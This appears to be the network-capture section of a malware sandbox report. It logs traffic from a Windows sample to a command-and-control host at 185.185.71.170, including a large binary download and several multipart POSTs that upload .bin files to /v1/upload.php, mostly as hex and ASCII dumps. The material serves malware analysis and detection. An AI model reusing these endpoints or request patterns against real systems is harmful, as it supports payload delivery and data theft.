Dec 18, 2024 20:56:26.001025915 CET	4944	OUT	Data Raw: 38 6a 4d 4e 52 38 4a 65 4b 66 45 73 47 6f 49 77 49 32 78 6c 66 46 75 6f 65 4d 39 4c 6b 74 75 44 35 6b 66 39 6c 78 33 4c 67 6b 4a 65 77 6e 61 36 2b 58 2b 49 5c 2f 32 52 37 38 2b 5a 4e 34 41 38 63 61 4e 72 6e 45 6a 52 36 4a 34 74 67 48 67 76 57 5a Data Ascii: 8jMNR8JeKfEsGoIwI2xlfFuoeM9LktuD5kf9lx3LgkJewna6+X+I\/2R78+ZN4A8caNrnEjR6J4tgHgvWZXJ3R29pqMl1qvhGZETKPf6x4i8NCSRQy2UaybI\/MyTxk4KzRqGIr4\/I5Ta9n\/bWFhSoyXWc8Xga+YYLDQSs3PGYnDq2uvLLl97PvALxCyWMp4bD5bxHCmr1f8AV\/GVK1eL+zCngczwuV5hi6ktVGGBwmKldWa
Dec 18, 2024 20:56:26.001076937 CET	1236	OUT	Data Raw: 32 72 6f 4e 43 72 4a 48 74 33 72 73 4d 50 38 41 30 7a 5c 2f 31 5c 2f 6e 65 5c 2f 5c 2f 77 43 76 5c 2f 43 6d 62 58 77 47 52 34 30 68 38 33 5c 2f 56 63 54 7a 5c 2f 35 50 35 5c 2f 79 70 5c 2f 54 5a 38 5c 2f 6c 79 78 34 5c 2f 64 5c 2f 77 44 50 62 38 Data Ascii: 2roNCrJHt3rsMP8A0z\/1\/ne\/\/wCv\/CmbXwGR40h83\/VcTz\/5P5\/yp\/TZ8\/lyx4\/d\/wDPb8f06\/pxQ3mCNHf7nlf8s4v9T\/noKDoK0myTfsOxPL82LP7\/APznv71N96Rkd408w8R\/6\/tz\/k8iiI7o3m2bE\/13J\/5ePp\/X+dG15Mb0+frn\/wBtf5\/0oNKfX5ELbPk2eZs83yvs\/wDy3wf8+vPfNH+
Dec 18, 2024 20:56:26.001085997 CET	3708	OUT	Data Raw: 41 4a 50 6c 2b 2b 6d 5c 2f 77 44 37 61 38 6e 5c 2f 41 44 7a 56 61 4f 54 79 39 5c 2f 37 37 66 39 50 33 45 48 76 5c 2f 41 4a 50 48 31 71 79 32 78 76 38 41 59 66 38 41 35 61 38 66 6c 6b 5c 2f 54 5c 2f 77 43 76 33 71 4c 5c 2f 41 46 65 5c 2f 59 38 6e Data Ascii: AJPl++m\/wD7a8n\/ADzVaOTy9\/77f9P3EHv\/AJPH1qy2xv8AYf8A5a8flk\/T\/wCv3qL\/AFe\/Y8nk\/wDkD\/P0NB0EfmF9iPx6+X\/jz\/nmhw\/pH1\/1jyjyPp64p7Ru+xH+\/wCb+6uf9R\/n3z\/9eom+86O\/\/bT8KAIFjP8AATvEZPmSf+2lp\/T8sc0cf9M\/+mv\/ADw\/6+rv8On88VNHHIzbf3bPH6Z6C
Dec 18, 2024 20:56:26.001152039 CET	2472	OUT	Data Raw: 31 79 39 30 5c 2f 58 62 62 78 70 71 63 5c 2f 77 41 53 62 4f 7a 31 48 56 5c 2f 44 5c 2f 68 36 66 51 39 45 73 62 5c 2f 77 7a 70 6e 68 76 57 4e 61 31 57 48 77 39 4a 4c 44 42 61 61 44 34 6d 69 31 63 66 62 63 33 37 64 58 37 64 76 77 30 38 57 61 42 34 Data Ascii: 1y90\/Xbbxpqc\/wASbOz1HV\/D\/h6fQ9Esb\/wzpnhvWNa1WHw9JLDBaaD4mi1cfbc37dX7dvw08WaB4M+L\/wCxmdc1s+LPDHhDUNL+FelfF7xK3jPS9QSCz1r4m\/D\/AOIWjeAfEXwmGi6dcums33hLxn4k8H+I9Jsr6HTL\/wAmS1uNUr+PMi44wOHz\/jLMsVLO63DuY5tgMPkWa08tzDHZLXeBwSwOYywWMw9Crh6iq
Dec 18, 2024 20:56:26.001183033 CET	2472	OUT	Data Raw: 5c 2f 65 53 53 5c 2f 76 38 38 48 48 2b 46 41 46 61 53 50 4d 6a 5c 2f 4a 48 5c 2f 30 79 5c 2f 65 5c 2f 70 5c 2f 6e 70 55 4c 37 4e 76 7a 79 5a 65 50 39 37 46 5c 2f 77 41 74 5c 2f 71 4c 54 6d 72 6d 33 7a 50 6e 51 37 43 66 2b 6d 58 35 5c 2f 53 6f 66 Data Ascii: \/eSS\/v88HH+FAFaSPMj\/JH\/0y\/e\/p\/npUL7NvzyZeP97F\/wAt\/qLTmrm3zPnQ7Cf+mX5\/SofL+b\/lmnmemT6f5\/8ArVpT6\/L9Tqp1Plb8P+Bv01IWbzJH3pstpP8Anp\/r8e3T\/P0zUKyeXvfZ8nm+bj8vz755olV1+d0jh8z\/AJ6fvz\/n\/PvT9zxR7\/O2eXL5Xfz5u1aGxDz+5SNJH3+vH6f\/AF6rbv
Dec 18, 2024 20:56:26.001343012 CET	4944	OUT	Data Raw: 69 37 54 66 43 66 78 6a 38 4b 36 6c 72 31 39 62 36 5a 6f 73 36 36 74 70 32 70 36 68 4b 79 4c 48 62 51 33 75 6b 58 30 64 75 37 6d 53 61 43 50 62 5c 2f 61 43 32 51 59 53 53 48 4b 35 32 4b 30 76 6c 69 76 32 36 30 4b 48 34 64 65 4b 72 4a 34 72 54 55 Data Ascii: i7TfCfxj8K6lr19b6Zos66tp2p6hKyLHbQ3ukX0du7mSaCPb\/aC2QYSSHK52K0vliv260KH4deKrJ4rTUdL8T21\/bSRzWNzLDNFdWdzE0c0c+lTBWntJ4WeORLiGWCVGdW3LkV\/Bn0keO6Xh7xpVwOaZVHOuH+Lsu4YznGYCpQxkPaYnIsyxNCpHBZhRxGGo4XF18LgaeFxXPKvL6pVpSlQ0oyP9Pfof8AANfxP8N3jsozWO
Dec 18, 2024 20:56:26.001442909 CET	2472	OUT	Data Raw: 2b 66 39 47 5c 2f 2b 74 55 32 33 2b 42 38 66 7a 34 5c 2f 2b 74 6e 38 76 78 71 48 5c 2f 62 5c 2f 35 5a 5c 2f 38 41 31 5c 2f 7a 36 63 66 58 6a 72 51 64 68 44 39 35 66 6e 39 4f 6b 66 50 38 41 6e 32 5c 2f 48 69 6f 57 5c 2f 75 62 66 70 6e 2b 66 2b 54 Data Ascii: +f9G\/+tU23+B8fz4\/+tn8vxqH\/b\/5Z\/8A1\/z6cfXjrQdhD95fn9OkfP8An2\/HioW\/ubfpn+f+T9e9XJE+VPk\/795\/p6fX\/wCvDGE+d\/4\/+Wv+f8\/rQVS6f4f8iHy\/+mNRSfnx5v8AretSyH\/Y2f8AXSX9en+cdKZ\/cTbHz17eT9KDuIZNnyP9x8\/89eP8jt2\/CmfP99E3\/wDTv+A\/M\/04pw+5H\/7
Dec 18, 2024 20:56:26.001494884 CET	2472	OUT	Data Raw: 37 6b 2b 35 73 47 50 4e 5c 2f 35 64 34 76 49 5c 2f 77 41 35 71 47 4f 52 38 66 33 45 6a 5c 2f 31 58 37 36 36 5c 2f 38 42 66 31 79 61 50 6a 38 72 66 50 66 37 75 78 70 54 36 5c 2f 4c 39 51 6b 5c 2f 65 62 4e 37 37 50 4d 69 74 5c 2f 4e 5c 2f 63 5c 2f Data Ascii: 7k+5sGPN\/5d4vI\/wA5qGOR8f3Ej\/1X766\/8Bf1yaPj8rfPf7uxpT6\/L9Qk\/ebN77PMit\/N\/c\/p\/j34\/GhpHTCfx\/6oSeb5\/wDnp+FPk\/1ieT\/zyt5ftHm4\/X\/69QybPmd08n975X7z\/Pf654rM0GbvL3uEG\/zR+7\/57fT+X+eTa8nzp5m\/mT\/Wn9972loKeuVZER97\/wCt8ySX\/POM1EW5+\/sh
Dec 18, 2024 20:56:26.121161938 CET	2472	OUT	Data Raw: 37 34 74 33 33 69 44 34 61 65 4c 66 46 30 2b 75 36 64 34 61 5c 2f 74 79 7a 2b 4a 58 77 59 2b 46 31 6c 71 2b 69 36 78 72 76 68 2b 38 38 4e 51 61 35 34 4b 31 4c 78 56 70 38 48 69 4f 35 30 6e 53 62 36 57 30 75 64 61 30 67 58 72 34 74 4a 38 4b 32 6e Data Ascii: 74t33iD4aeLfF0+u6d4a\/tyz+JXwY+F1lq+i6xrvh+88NQa54K1LxVp8HiO50nSb6W0uda0gXr4tJ8K2n9pp4z+Pv7OHwzuLL4\/69+zBZWvjnxd8V0j1b43eEPCnw58S+N\/Bv8AwkPhL4H+LfA\/hpfBN98TtD8HeJ\/E3jvxb4T8G6d4o0\/XpB4jm8K6enii5\/L8j4s+jpkHEHEniNw1mXDmW8Q+JdPIcPxNmuV4bM6WL
Dec 18, 2024 20:56:26.121215105 CET	4944	OUT	Data Raw: 66 41 33 34 79 36 58 38 4c 4e 62 2b 49 39 35 72 48 77 69 2b 4a 50 69 50 53 39 66 31 62 77 31 70 48 6a 47 78 2b 4a 48 77 6e 2b 47 43 33 65 6e 65 4a 49 66 43 66 69 71 31 30 62 78 4c 34 4c 75 50 46 76 68 75 66 55 5c 2f 44 75 70 36 64 50 71 74 74 64 Data Ascii: fA34y6X8LNb+I95rHwi+JPiPS9f1bw1pHjGx+JHwn+GC3eneJIfCfiq10bxL4LuPFvhufU\/Dup6dPqttdfY47v7TgnwN+ifwFx5wXxJguNc9zniTBVqWc8I4TiHi\/M81yuljsdy5Jgc1qYOjhsPg3iqdfNqWDwH9rT9nh8yzHBOFCOYVcBJfn3iZ9MX6dvif4Q+J\/AlTwk8NOBOC+K8uxfCHiLnfh\/4TZDw1xHj+H8onlvF
Dec 18, 2024 20:56:29.529022932 CET	164	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Wed, 18 Dec 2024 19:56:29 GMT content-type: text/html; charset=utf-8 content-length: 26 Data Raw: 35 4d 4a 33 32 4f 45 31 4a 6e 54 6f 38 4c 6d 50 31 37 33 34 35 35 31 37 38 38 Data Ascii: 5MJ32OE1JnTo8LmP1734551788

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.3	49747	185.185.71.170	80	7960	C:\Users\user\Desktop\U6mwWZlkzH.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 20:56:29.854513884 CET	123	OUT	GET /vJNDHPUXPCEIZZjTPbLp1734325090?argument=5MJ32OE1JnTo8LmP1734551788 HTTP/1.1 Host: home.fivetk5pn.top Accept: /
Dec 18, 2024 20:56:31.397138119 CET	1236	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Wed, 18 Dec 2024 19:56:31 GMT content-type: application/octet-stream content-length: 10816560 content-disposition: attachment; filename="5VzUKxynQgTDfd;" last-modified: Mon, 16 Dec 2024 04:58:11 GMT cache-control: no-cache etag: "1734325091.0903454-10816560-873928378" Data Raw: 27 2a ef 7e fc 03 e2 13 8b 2b 8e d2 9c 96 fe 99 bb 6f 9e be 0d 93 8e 51 95 f6 5c c1 cc e1 81 a1 65 a5 20 ad d3 7b 01 c7 7d 97 21 98 8f 30 3e 9e 70 41 a8 01 35 4b d6 ab 6f 38 64 ba 5e 6d 85 00 6c b8 83 f2 6a ac 1c 3e 11 b6 af 3f 8a f9 fa 79 7f f8 2b ff 29 43 cc 6d b2 2a fa d8 2f d6 71 ec b8 8c dd 71 7d d5 27 74 1a 35 af 3b e3 15 c5 5a ee fe 03 9b e9 ac 4e ff 2e 4f 60 ff ce ff 70 7a ce ae ce 62 c2 cb 94 54 11 91 02 c1 39 9a ca 02 83 5a 50 22 5d 7e f9 08 99 38 85 c6 94 99 05 2a 3b 94 f5 61 72 35 63 a6 95 f8 e2 0e a5 51 ab ad be 41 2b ca eb 69 aa e0 c0 f6 26 55 b4 4d 34 7d 53 a7 b7 97 3d 1a 33 fe ef fa b2 63 4f 4c c0 70 b7 85 eb fb aa 5b 13 22 bc e6 bb 51 7a 71 22 64 c3 1d d0 df 94 eb 5b 00 ac 34 15 43 13 91 1e 5a 6a ae 1e 38 b0 e4 10 8c 88 58 94 ba d8 d9 3f 4f 6c 08 09 06 a0 63 8c 24 11 3e a6 ab 09 e1 75 96 42 0f 2f 5a 6c f1 eb e0 6b 09 87 ea 71 67 83 ca 39 3b da 12 f6 50 71 64 94 51 5f bc c6 27 0f 36 2a 8f 4b 22 f5 1b 4d db 27 2f 96 08 c8 a3 a9 43 13 9d 11 65 da 84 cd a4 b2 ca fd 57 6d 77 d2 17 5a 76 [TRUNCATED] Data Ascii: '~+oQ\e {}!0>pA5Ko8d^mlj>?y+)Cm/qq}'t5;ZN.O`pzbT9ZP"]~8;ar5cQA+i&UM4}S=3cOLp["Qzq"d[4CZj8X?Olc$>uB/Zlkqg9;PqdQ_'6K"M'/CeWmwZvTQ'N"Zz_i,][kb,YYztW/h%A<3PpY}Ru(y=PO1v9Fv<TZoV~/'KSl@D jo,;n\m%SdhSLPG:<H+.@{gbkCn\|ibs1g~G"ohxJ6AeOK+<]n92{I=_8(Xu>gMnYt)E:_35K!\}Mwq$>73W[z5D~GTLAY2enxQK$~+lA_[4Rbs?^/78}0CfKNAcUQSZdNxZfM5LfiIyr,=mP8I6nb-\|>T0=)R3^x[N7R3_\|v`>=So>
Dec 18, 2024 20:56:31.397172928 CET	224	IN	Data Raw: fd 69 ab 67 3d 2a 0a 0f 3f 89 f5 8f 63 09 c1 b4 b3 61 5a 0d 91 77 f3 58 2a f4 f4 86 bd 95 6a 7c b1 2e 35 03 ec 55 f9 d3 0c 6f a7 9a a0 cf 5b 1b 2c 97 95 97 77 57 19 11 6f d3 f3 7c 9f f9 25 45 de 37 c1 37 fe 78 2f ae a7 7c a7 50 a9 b7 60 04 bd ca Data Ascii: ig=?caZwXj\|.5Uo[,wWo\|%E77x/\|P`uDeY(^AgR!3XK#OXs^T;jG/\g)Vnc`f;B'Z4[cK3542XUfzq\|rt
Dec 18, 2024 20:56:31.397258043 CET	1236	IN	Data Raw: 50 67 61 6c 3e b3 6a e2 ce a9 07 52 d1 18 16 b4 f9 e5 04 49 a2 4c dd d0 52 f8 62 43 77 e3 1f 38 f4 07 73 2f 5d 47 4e 3d 23 3b 2a fe d1 a6 cf 2d 23 61 2b 69 3f 37 a5 9e 07 8c ba c3 8e d8 a9 69 84 b0 2b 71 a3 3a 6a d9 50 12 d0 29 4f a1 21 9e 6f ea Data Ascii: Pgal>jRILRbCw8s/]GN=#;-#a+i?7i+q:jP)O!o\}U {TH,O2}f'8bHs>NqY356V]#dI(?lh`cLpE{@XwftL63~'-n0FfAC)=.krwT"
Dec 18, 2024 20:56:31.397433996 CET	1236	IN	Data Raw: 51 e3 48 21 ac cc 0a 79 2c b7 63 3f b5 4a ff 25 51 f1 5c 6f 78 54 09 47 06 33 42 63 ae a0 74 25 09 93 56 67 1c c0 62 c9 3b d3 c3 e7 cb b7 fb 40 57 b0 0e e3 00 eb 1f 12 fd d5 d8 1d 08 a8 45 90 33 f4 83 06 be cf 95 ec 89 f8 01 0c 15 94 97 bf 10 c9 Data Ascii: QH!y,c?J%Q\oxTG3Bct%Vgb;@WE3D_hJ%?P;vHYzkQF]iJ^/v^&Z,/6_J@kM(T=w,x8%:.F/L?&f nEpR'l
Dec 18, 2024 20:56:31.397447109 CET	448	IN	Data Raw: 6a 4b 1c 47 26 52 3b 18 aa 39 cf d4 2c 87 c2 a3 75 f7 97 df 24 4a 2e 49 4f 30 7c 99 b5 2a 15 e5 f0 59 4b 6c c5 8e 69 d7 e6 f2 e1 c6 3a 38 a1 08 96 21 9a 40 eb de af 6e 50 08 ae 21 c8 84 75 99 71 3f 83 95 6b fa fa 62 33 09 d8 b6 d4 50 4a a0 8b 84 Data Ascii: jKG&R;9,u$J.IO0\|*YKli:8!@nP!uq?kb3PJY@\|-6e]Ruv[@~:&>;b TPTZphL]'$S}!&8IJ)fkf%$o2kXPNpuZ'7)_@NjQEL?
Dec 18, 2024 20:56:31.397728920 CET	1236	IN	Data Raw: 57 86 b1 c7 b6 8f 5d f1 ea f4 18 14 0c a1 63 90 34 ed 2e 2e 3b f4 ba 32 ce 05 f6 b1 64 94 4f 68 39 fc 78 91 fa 75 eb 62 1f b1 3d 3f b1 77 9f c0 67 46 1e 2d ed 5e 68 47 5a c1 c9 e4 dc 30 00 ab 4b 60 a6 af 2a 53 04 a8 f8 f4 d5 09 a6 3c e6 1c 9c 38 Data Ascii: W]c4..;2dOh9xub=?wgF-^hGZ0K`*S<8GzK2>)5qF[f#!i#\|Jd:^a[4fp9q&/LAEo2[u+9=@"I<1oH[9F"Rj}{<[lf5UY"y !!!3!
Dec 18, 2024 20:56:31.397741079 CET	1236	IN	Data Raw: ed 16 d3 bc 03 35 14 5d f2 5e a3 7b aa c2 df f0 af 4b 0b 45 d9 30 81 50 71 d8 5c ec 84 4f 68 ae 5d 26 6f 74 f1 f1 7d 88 01 44 24 b4 f9 8f 67 e0 94 66 96 e1 1a 84 ab 9d d0 c6 d4 3b 13 7d c2 9b 29 1c 9a de 87 f6 72 42 14 d8 6f 39 df 12 8a 81 be 42 Data Ascii: 5]^{KE0Pq\Oh]&ot}D$gf;})rBo9Bf\|_5IL?RPb}+f27GPaO#@LPwC4XU~3>1H$t0Zv0tMgYbu%F!E1)_
Dec 18, 2024 20:56:31.398216009 CET	1236	IN	Data Raw: af 3d ef 48 25 9e 5f 06 bd bb 05 2c 78 09 8d 10 8e 8b b6 8c 70 14 a7 59 58 98 1c de d9 1a f1 70 0c b9 8d b3 ab 38 bb f3 87 2d 35 45 27 5e df 02 a2 af 4a 40 2f 54 02 57 b4 39 f3 47 3c f6 99 21 8e 22 c5 56 9e ba a2 57 48 bd 9c c5 03 3a 57 2b 62 e0 Data Ascii: =H%_,xpYXp8-5E'^J@/TW9G<!"VWH:W+b]9R.E1ve^`~^dL`^E>]gZ%s/@V!H,~mfar=56:M>6w7H$I&}<$r"h*fn\B<,=,
Dec 18, 2024 20:56:31.398227930 CET	1236	IN	Data Raw: 41 27 f5 13 80 87 08 6a 45 54 96 3c 61 1d ce 70 24 23 e0 1e dd cf 6c 65 cd 12 fd e7 23 aa fa 48 c8 f6 49 7e 38 89 86 84 d4 92 54 89 c6 36 f0 0f 82 07 b2 bc 8f 47 af be 24 42 72 d6 94 4c df e5 ed f0 ea 16 5c 0e b8 a5 2c 67 7a 5d a2 b0 fe 76 90 f1 Data Ascii: A'jET<ap$#le#HI~8T6G$BrL\,gz]vWaVt{B<G[aKi6'?wbO'tSDWTu'pRpDL}[%7+BNkAe2~@Zit1O?Z\u&[0cmB\
Dec 18, 2024 20:56:31.398240089 CET	1236	IN	Data Raw: c2 59 05 29 f1 3a 3c 05 a0 f2 45 51 b5 36 3b 8d 8d 70 cb 0a 10 bf 42 d5 18 ca ab b7 2c ca 7f 63 16 45 07 c0 9e 2c e0 20 da 65 b6 0f 6a 1d 80 b9 5c c6 a4 42 4d 7f 3f 97 ac 37 b0 27 6d ac 4e 05 5d 21 7b e8 16 1b bb 07 ac 95 25 41 66 c7 17 f1 67 1b Data Ascii: Y):<EQ6;pB,cE, ej\BM?7'mN]!{%Afg@AnfN$~B&)XNkSBd$R%t$gX+me:hu]S;8hY6T6?lCLdyr6cfHpPcNFO*<$
Dec 18, 2024 20:56:31.516848087 CET	1236	IN	Data Raw: b7 0f 09 00 c2 2b 64 10 f9 15 55 86 6a 31 b9 b8 90 1c 54 1d b5 74 39 9e fd 6a 35 fd f0 a5 81 3b e5 f2 d4 3c ae 4d b3 9f c7 69 61 ad 8e 5d 13 39 6f 8f a7 6f b5 26 4f 1e 50 bb 86 98 30 5f bf 2e 09 56 dc cb db f8 1e 60 a8 21 d2 e0 70 33 83 e1 2b 79 Data Ascii: +dUj1Tt9j5;<Mia]9oo&OP0_.V`!p3+y%mZ\|tG-P73O<?9U?KDmXQ^8kMlSk`Jrr#c0XzKrg664p+\bmWMv%:`7`mmIznL&?y*'Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.3	49799	185.185.71.170	80	7960	C:\Users\user\Desktop\U6mwWZlkzH.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 20:56:54.445566893 CET	642	OUT	POST /v1/upload.php HTTP/1.1 Host: fivetk5pn.top Accept: / Content-Length: 463 Content-Type: multipart/form-data; boundary=------------------------hYgyc47CvUaxH1oiZAIKP6 Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 68 59 67 79 63 34 37 43 76 55 61 78 48 31 6f 69 5a 41 49 4b 50 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 47 6f 63 69 76 61 6d 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 3f d6 3b 3a 9e 2b c5 0a 3c 0e b3 87 62 27 6f b0 65 97 e0 98 f4 27 a0 9f ae 34 22 31 37 e2 8a 7f 16 f8 17 9c 83 49 84 0f 91 3a 88 0a 59 55 8f 23 4c d9 7b 0f dd b4 df ef 44 33 c6 c9 31 31 b0 e2 08 e5 4b b3 98 3f 0c c2 e0 f6 6e 23 9d bf 1c 35 4e 14 03 ff 33 6f bb a1 b2 20 44 73 0e 01 0f 63 ed 4e b2 ef 3e 32 8c 5b c7 ff de 9d e3 73 bc c2 e5 da 7d fe 21 5d 45 db 2a 3d 75 10 df 45 95 34 5d 04 f3 2d 15 56 ca 8b ef c8 2b 4e 08 66 fc 15 07 4a 38 e9 6e 7a 45 bf 93 35 0d 8a ae ce 56 0b e3 b6 f0 c0 8c 02 4a 66 87 9f ed 7d 9d 39 c7 76 77 [TRUNCATED] Data Ascii: --------------------------hYgyc47CvUaxH1oiZAIKP6Content-Disposition: form-data; name="file"; filename="Gocivam.bin"Content-Type: application/octet-stream?;:+<b'oe'4"17I:YU#L{D311K?n#5N3o DscN>2[s}!]E*=uE4]-V+NfJ8nzE5VJf}9vwt\|/\ lP.M%e~_lN/O\8RflWYx<--------------------------hYgyc47CvUaxH1oiZAIKP6--
Dec 18, 2024 20:56:55.775285959 CET	255	IN	HTTP/1.1 200 OK server: nginx date: Wed, 18 Dec 2024 19:56:55 GMT content-type: text/plain; charset=utf-8 content-length: 2 x-ratelimit-limit: 30 x-ratelimit-remaining: 26 x-ratelimit-reset: 1734553561 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.3	49806	185.185.71.170	80	7960	C:\Users\user\Desktop\U6mwWZlkzH.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 20:56:57.148350000 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: fivetk5pn.top Accept: / Content-Length: 81420 Content-Type: multipart/form-data; boundary=------------------------dUjbNuo18TADmEBcwZXxPU Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 64 55 6a 62 4e 75 6f 31 38 54 41 44 6d 45 42 63 77 5a 58 78 50 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 57 75 6d 69 6b 65 63 69 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 33 cf 82 c2 f8 60 6b 75 23 9a fb e0 ce b0 11 37 4e 43 9f dd c2 d6 7c 4c 40 4a e7 8e 6f 6b ee 08 c4 32 aa 31 f2 be 06 77 31 9f b0 a1 67 39 42 9e c3 ae eb 7b 2e a2 3c 42 1d 59 a4 4a aa 32 bc 35 47 62 67 5c 53 42 6e e6 eb 96 42 f3 38 3e 0f 4d db e3 7b fe 43 13 d4 d3 59 dd b7 cf ea a4 e4 b9 12 fd 4f 1e 5f 82 34 0a 02 17 ad c8 ad 94 e2 a0 a8 a6 4d b5 dc e4 98 62 81 f5 d5 a4 21 95 7c 98 10 a0 3a 63 b2 68 38 6e 7a 42 08 0f 05 2f e1 95 c1 78 30 97 c2 20 28 6e c1 5d db 1b 8c 39 d7 72 69 db d2 96 02 69 02 54 c3 ed e0 eb 8d 4b 39 f4 [TRUNCATED] Data Ascii: --------------------------dUjbNuo18TADmEBcwZXxPUContent-Disposition: form-data; name="file"; filename="Wumikeci.bin"Content-Type: application/octet-stream3`ku#7NC\|L@Jok21w1g9B{.<BYJ25Gbg\SBnB8>M{CYO_4Mb!\|:ch8nzB/x0 (n]9riiTK9 la[ "u9P6\|YD.VBkRGB^47HQPlh6J\|,G#(Tu[\/3'8SKfu?U!W/pvy!N~<;<^x%\Rz_3P^e3]kZ:1D:"f\{ T4HxsgevB8U\|LrLnt0h[^@(+zpv\|>dD}sb$>f.:4thvesQS"d1R!#LLgICN5!fX9t&Z\&":fdou*>@O&LEM\|c$QSjA1 gE;zYX4[rp'!>^sn+'4R-eu{}N [TRUNCATED]
Dec 18, 2024 20:56:57.267915964 CET	2472	OUT	Data Raw: bf e8 df 66 5e 73 ff 27 e9 96 f5 9a 48 d5 b8 9d a7 69 11 1c 38 2f 6a d9 b2 13 e9 5e e2 99 53 3e bb 97 89 6e 4e c6 94 ad 76 32 8f bf 41 7b 5f f8 d6 c0 78 14 ce 54 00 f3 a8 61 7e 7c 40 ca c7 13 04 90 c8 51 f6 5d 33 e6 83 1f 2e 50 67 36 3d b8 68 33 Data Ascii: f^s'Hi8/j^S>nNv2A{_xTa~\|@Q]3.Pg6=h3DgJr3}aBkWO=;!&v#[SA$s7l4J&vJ^iWDKW(bN@&&bVX2P:Z)rfZ.
Dec 18, 2024 20:56:57.268001080 CET	4944	OUT	Data Raw: 0b 85 ab bd a4 ed 1f ac 20 3f 4e e4 67 b9 82 e1 14 c4 c6 0c d9 b4 fd 90 7e 1f 5e 45 dd 1c 54 f0 39 b7 83 33 a3 ce 55 a8 fe b1 3a 62 d4 f8 29 e2 2d 3b 9a 3e 31 41 a9 16 e0 81 98 7c 92 a8 58 6a 66 61 55 cb 01 2a 9f 83 93 a5 b2 67 ac 6c 0a 6c df 99 Data Ascii: ?Ng~^ET93U:b)-;>1A\|XjfaU*gll"hlK@H_E0tn;o5J,oi;]wj&"\|cia]9q$VY3[/R_rv6Zn"zR\"ZG{E'RB,cdU
Dec 18, 2024 20:56:57.268085957 CET	4944	OUT	Data Raw: ed 55 00 ae 9e 32 45 2a 69 02 08 fd 8f cb 02 12 9d 61 5d 51 32 c0 8a a8 ad c2 3c aa d1 b2 b8 15 42 e0 72 4b d1 a4 79 a5 67 2d a0 14 3a 8a a5 c7 0e 7f d8 bb 27 d8 5b 24 8c dc 40 92 76 07 06 5c 43 62 01 15 ec 8a 74 9b 1a ea 52 8a f5 5d 50 56 8f 60 Data Ascii: U2E*ia]Q2<BrKyg-:'[$@v\CbtR]PV`BDNKX&W{o3TSplwBJFX"KKMHsPX'-,71H3elwp9?ZfImKUzd6Jkq-JB\^G
Dec 18, 2024 20:56:57.268130064 CET	2472	OUT	Data Raw: d1 80 59 58 15 9a 02 cb 81 5a 2e 95 99 9a 03 7e 50 28 3b ff 6d e8 17 91 be 4b 95 51 60 c1 df 01 8e 4c 85 bc 28 32 33 78 a3 a0 c4 94 85 28 4e 7f 22 57 b2 62 96 4c 41 d6 00 1a e3 d6 86 53 f8 bc 5d 34 71 0b 43 f4 bf c5 d7 d8 5c 25 48 be 52 f1 64 a0 Data Ascii: YXZ.~P(;mKQ`L(23x(N"WbLAS]4qC\%HRdmI{hF"Qrk&>%VIVM5arBN70E6v\W}/d{yUzhjx?U:bJB}E#=5Ji!C;;L@.:@
Dec 18, 2024 20:56:57.268167019 CET	2472	OUT	Data Raw: 01 6d 29 d7 94 42 5c 42 33 18 43 01 5c 61 db 01 92 0d 59 29 53 4b 0c f3 d0 07 fc 4c bb 0a 4e 12 5f 9a b1 8c 4c 0f da 5b 01 a0 f8 e1 03 18 2c 1b 70 d4 28 d9 2c 63 d1 b3 58 46 d8 25 60 49 ba c1 4d a9 40 91 59 7a 97 0f 0d 8a 16 c0 e7 6d 27 f2 a9 81 Data Ascii: m)B\B3C\aY)SKLN_L[,p(,cXF%`IM@Yzm'?+ \|"AnD7PM~s8PuUcyhl?%.Gy5k"Yo!rlV-=$hs!yS0pNQ@%lcKptd%j%bn[wCx86]5KTyy7i
Dec 18, 2024 20:56:57.268265963 CET	2472	OUT	Data Raw: 35 98 86 61 aa 13 d3 0d 1d c3 be 33 51 48 de a2 dc 43 e8 ec 69 3e 8c d2 b3 75 33 c0 ca 6b 75 b6 6b a4 7f d6 16 9f 58 1a e0 8a e8 37 6c 0a 1d b6 f3 63 67 36 2f 9d dd f5 d6 44 20 36 86 bb b7 80 06 cc 96 97 e3 04 ea a2 2a 69 42 85 c4 b4 9b b8 b3 57 Data Ascii: 5a3QHCi>u3kukX7lcg6/D 6*iBWc5,APk=NO3uI%xM'Z>CHlmb8ptjH[@.zJzY"~wR02-c!5+D&Ugy'Po
